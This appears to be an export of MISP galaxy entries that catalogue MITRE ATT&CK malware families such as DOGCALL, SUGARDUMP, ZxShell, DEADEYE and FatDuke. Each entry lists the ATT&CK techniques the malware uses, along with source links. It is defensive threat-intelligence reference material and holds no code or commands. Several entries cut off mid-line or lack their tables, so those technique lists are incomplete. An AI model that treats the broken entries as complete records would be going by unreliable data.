[ccf32](https://attack.mitre.org/software/S1043) is data collection malware that has been used since at least February 2019, most notably during the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign; there is also a similar x64 version.(Citation: Bitdefender FunnyDream Campaign November 2020)

The tag is: `misp-galaxy:mitre-malware="ccf32 - S1043"`

ccf32 - S1043 is also known as:

- ccf32

**View relationships graph**

ccf32 - S1043 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"


Table 6792. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1043">https://attack.mitre.org/software/S1043</a></td>
</tr>
</tbody>
</table>

**DOGCALL - S0213**

[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="DOGCALL - S0213"*

DOGCALL - S0213 is also known as:

- DOGCALL

View relationships graph

DOGCALL - S0213 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="DOGCALL" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6793. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0213">https://attack.mitre.org/software/S0213</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

PyDCrypt - S1032

[PyDCrypt](https://attack.mitre.org/software/S1032) is malware written in Python designed to deliver [DCSrv](https://attack.mitre.org/software/S1033). It has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) since at least September 2021, with each sample tailored for its intended victim organization. (Citation: Checkpoint MosesStaff Nov 2021)

The tag is: misp-galaxy:mitre-malware="PyDCrypt - S1032"

PyDCrypt - S1032 is also known as:

• PyDCrypt

View relationships graph

PyDCrypt - S1032 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 6794. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1032">https://attack.mitre.org/software/S1032</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/">https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/</a></td>
</tr>
</tbody>
</table>

**CreepyDrive - S1023**

[CreepyDrive](https://attack.mitre.org/software/S1023) is a custom implant has been used by [POLONIUM](https://attack.mitre.org/groups/G1005) since at least early 2022 for C2 with and exfiltration to actor-controlled OneDrive accounts.(Citation: Microsoft POLONIUM June 2022)

[POLONIUM](https://attack.mitre.org/groups/G1005) has used a similar implant called CreepyBox that relies on actor-controlled DropBox accounts.(Citation: Microsoft POLONIUM June 2022)

The tag is: *misp-galaxy:mitre-malware="CreepyDrive - S1023"

CreepyDrive - S1023 is also known as:

• CreepyDrive

View relationships graph

CreepyDrive - S1023 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
Table 6795. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1023">https://attack.mitre.org/software/S1023</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/">https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/</a></td>
</tr>
</tbody>
</table>

**HummingWhale - S0321**

[HummingWhale](https://attack.mitre.org/software/S0321) is an Android malware family that performs ad fraud. (Citation: ArsTechnica-HummingWhale)

The tag is: `misp-galaxy:mitre-malware="HummingWhale - S0321"`

View relationships graph

HummingWhale - S0321 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643"` with estimative-language:likelihood-probability="almost-certain"

Table 6796. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/">http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0321">https://attack.mitre.org/software/S0321</a></td>
</tr>
</tbody>
</table>

**WireLurker - S0312**

[WireLurker](https://attack.mitre.org/software/S0312) is a family of macOS malware that targets iOS devices connected over USB. (Citation: PaloAlto-WireLurker)

The tag is: `misp-galaxy:mitre-malware="WireLurker - S0312"`

View relationships graph

WireLurker - S0312 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1458"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:malpedia="WireLurker (OS X)"` with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

Table 6797. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0312">https://attack.mitre.org/software/S0312</a></td>
</tr>
</tbody>
</table>

RATANKBA - S0241

[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)

The tag is: *misp-galaxy:mitre-malware="RATANKBA - S0241"*

RATANKBA - S0241 is also known as:

• RATANKBA

View relationships graph

RATANKBA - S0241 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
Table 6798. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0241">https://attack.mitre.org/software/S0241</a></td>
</tr>
</tbody>
</table>

SUGARDUMP - S1042

[SUGARDUMP](https://attack.mitre.org/software/S1042) is a proprietary browser credential harvesting tool that was used by UNC3890 during the [C0010](https://attack.mitre.org/campaigns/C0010) campaign. The first known [SUGARDUMP](https://attack.mitre.org/software/S1042) version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022. (Citation: Mandiant UNC3890 Aug 2022)

The tag is: `misp-galaxy:mitre-malware="SUGARDUMP - S1042"`

SUGARDUMP - S1042 is also known as:

- SUGARDUMP

View relationships graph

SUGARDUMP - S1042 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-
uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

Table 6799. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1042">https://attack.mitre.org/software/S1042</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping">https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping</a></td>
</tr>
</tbody>
</table>

**HAPPYWORK - S0214**

[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="HAPPYWORK - S0214"

View relationships graph

HAPPYWORK - S0214 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="HAPPYWORK" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6800. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0214">https://attack.mitre.org/software/S0214</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

**CreepySnail - S1024**

[CreepySnail](https://attack.mitre.org/software/S1024) is a custom PowerShell implant that has been used by [POLONIUM](https://attack.mitre.org/groups/G1005) since at least 2022.(Citation: Microsoft POLONIUM June 2022)

The tag is: *misp-galaxy:mitre-malware="CreepySnail - S1024"*

CreepySnail - S1024 is also known as:

• CreepySnail

View relationships graph

CreepySnail - S1024 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
StreamEx - S0142

[StreamEx](https://attack.mitre.org/software/S0142) is a malware family that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)

The tag is: `misp-galaxy:mitre-malware="StreamEx - S0142"`

StreamEx - S0142 is also known as:

- StreamEx

View relationships graph

StreamEx - S0142 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:tool="StreamEx"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
GolfSpy - S0421

[GolfSpy](https://attack.mitre.org/software/S0421) is Android spyware deployed by the group [Bouncing Golf](https://attack.mitre.org/groups/G0097).(Citation: Trend Micro Bouncing Golf 2019)

The tag is: `misp-galaxy:mitre-malware="GolfSpy - S0421"`

GolfSpy - S0421 is also known as:

- GolfSpy

View relationships graph

GolfSpy - S0421 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Screen Capture - T1513"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Clipboard Data - T1414"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1512"` with estimative-
Pisloader - S0124

[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)

The tag is: `misp-galaxy:mitre-malware="Pisloader - S0124"`

Pisloader - S0124 is also known as:

- Pisloader

View relationships graph

Pisloader - S0124 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
Table 6804. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0124">https://attack.mitre.org/software/S0124</a></td>
</tr>
</tbody>
</table>

ZxShell - S0412

[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014)

The tag is: `misp-galaxy:mitre-malware="ZxShell - S0412"`

ZxShell - S0412 is also known as:

- ZxShell
- Sensocode

View relationships graph

ZxShell - S0412 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="VNC - T1021.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 6805. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0412">https://attack.mitre.org/software/S0412</a></td>
</tr>
</tbody>
</table>

KARAE - S0215

[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="KARAE - S0215"

KARAE - S0215 is also known as:

• KARAE

View relationships graph

KARAE - S0215 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="KARAE" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
Table 6806. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0215">https://attack.mitre.org/software/S0215</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

DEADEYE - S1052

[DEADEYE](https://attack.mitre.org/software/S1052) is a malware launcher that has been used by [APT41](https://attack.mitre.org/groups/G0096) since at least May 2021. [DEADEYE](https://attack.mitre.org/software/S1052) has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).(Citation: Mandiant APT41)

The tag is: `misp-galaxy:mitre-malware="DEADEYE - S1052"`

DEADEYE - S1052 is also known as:

- DEADEYE
- DEADEYE.EMBED
- DEADEYE.APPEND

View relationships graph

DEADEYE - S1052 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

**Table 6807. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1052">https://attack.mitre.org/software/S1052</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/apt41-us-state-governments">https://www.mandiant.com/resources/apt41-us-state-governments</a></td>
</tr>
</tbody>
</table>

**Amadey - S1025**

[Amadey](https://attack.mitre.org/software/S1025) is a Trojan bot that has been used since at least October 2018.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)

The tag is: **misp-galaxy:mitre-malware="Amadey - S1025"**

Amadey - S1025 is also known as:

• Amadey

View relationships graph

Amadey - S1025 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6808. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1025">https://attack.mitre.org/software/S1025</a></td>
</tr>
<tr>
<td><a href="https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&amp;column=&amp;search=&amp;searchSDate=&amp;searchEDate=&amp;bbsDataCategory=">https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&amp;column=&amp;search=&amp;searchSDate=&amp;searchEDate=&amp;bbsDataCategory=</a></td>
</tr>
</tbody>
</table>

**FatDuke - S0512**

[FatDuke](https://attack.mitre.org/software/S0512) is a backdoor used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2016. (Citation: ESET Dukes October 2019)

The tag is: **misp-galaxy:mitre-malware="FatDuke - S0512"**

FatDuke - S0512 is also known as:

- FatDuke
FatDuke - S0512 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-
EvilGrab - S0152

[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)

The tag is: *misp-galaxy:mitre-malware="EvilGrab - S0152"*

EvilGrab - S0152 is also known as:

- EvilGrab

View relationships graph

EvilGrab - S0152 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"


- similar: *misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"

- uses: *misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- similar: *misp-galaxy:tool="EvilGrab" with estimative-language:likelihood-probability="likely"
Remsec - S0125

[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)

The tag is: `misp-galaxy:mitre-malware="Remsec - S0125"`

Remsec - S0125 is also known as:

- Remsec
